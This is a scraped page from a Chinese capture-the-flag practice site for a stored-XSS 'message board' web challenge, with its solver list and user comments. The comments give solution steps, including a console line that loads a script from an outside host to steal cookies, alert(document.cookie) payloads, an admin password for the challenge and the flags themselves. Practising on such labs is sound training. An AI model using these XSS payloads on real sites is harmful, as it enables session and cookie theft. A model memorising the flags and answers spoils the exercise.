留言板WEB 未解决
分数:
10
金币:
3
题目作者:
harry
一 血:
꧁༺༽༾ཊ彪ཏ༿༼༻꧂
一血奖励:
5金币
解 决:
2916
提 示:
题目无需登录后台！需要xss平台接收flag
描 述:
http协议需要http协议的xss平台
评分(17)
解题动态
Lmn13644482831 攻破了该题 15小时前
testkuber 攻破了该题 23小时前
vespercc 攻破了该题 23小时前
2457036664 攻破了该题 1天前
2790819062 攻破了该题 1天前
lunarbyside 攻破了该题 2天前
lon 攻破了该题 2天前
SUSAN777 攻破了该题 3天前
trapping 攻破了该题 3天前
派大星和海绵宝宝 攻破了该题 3天前
forces 攻破了该题 4天前
Eplum 攻破了该题 4天前
17807032991 攻破了该题 6天前
2424291222 攻破了该题 6天前
2424291112 攻破了该题 6天前
qianxin66 攻破了该题 7天前
TOTO1024 攻破了该题 7天前
Zhumeng 攻破了该题 7天前
2687821343 攻破了该题 8天前
评论
xcxy 2年前
举报
用御剑工具扫描不出文件目录，直接xss平台代码插入就行了，也不用变形，能够收到cookie : flag=flag%7B5b10e075f4319e7f628f6813ca4a1904%7D，这个是url编码，解码就行了。题目应该是改了，太简单了
32130262 2年前
举报
我用xss.pt生成的脚本，放入留言框里，换了很多格式。还使用F12 console 里输入javascript:eval('window.s=document.createElement("script");window.s.src="https://0x.ax/o0fK";document.body.appendChild(window.s)')，xss
Wjustice 2年前
举报
复盘一下，直接上工具得出后台路径，然后插入图片xss，导出flag，估计是改了题，以前应该是还有个dp.sql文件。。。。。
Amibaba 2年前
举报
/admin.php登录后台，账号admin 密码 011be4d65feac1a8，控制台打cookie，alert(document.cookie)
Cmy520CTF 2年前
举报
链接后面加 /admin.php回车 账号admin 密码 011be4d65feac1a8 然后点击login得到 flag=flag%7Bce56da59371f9eec3569e6feca58eeff%7D 转成 flag{ce56da59371f9eec3569e6feca58eeff}就是答案
嵌入式学的CTF 2年前
举报
题改了，不需要后台也扫不到后台，只有一个管理员且无法注入，只能灵活XSS，而且服务器很慢耐心等待，我一直以为没反应改了半天pd
sisa 2年前
举报
dirmap、dirsearch、dirb都扫不出sql文件，看wp直接访问db.sql得到是The requested URL was not found on this server.真不知你们是怎么知道密码的？
safeweb20 2年前
举报
这道题通过dirsearch.py 扫描网址找到sql账号数据之后登录admin账户，通过xss注入可以找到flag， 管理员密码是011be4d65feac1a8 账户是admin xss可以使用<script>alert(document.cookie);</script>
bigbox1 2年前
举报
这个题有问题,管理员密码是011be4d65feac1a8,作者把那个文件删了应该是,那个登录框不是sql注入
sshui 2年前
举报
nmd,改题了也不及时说明。凸(艹皿艹 )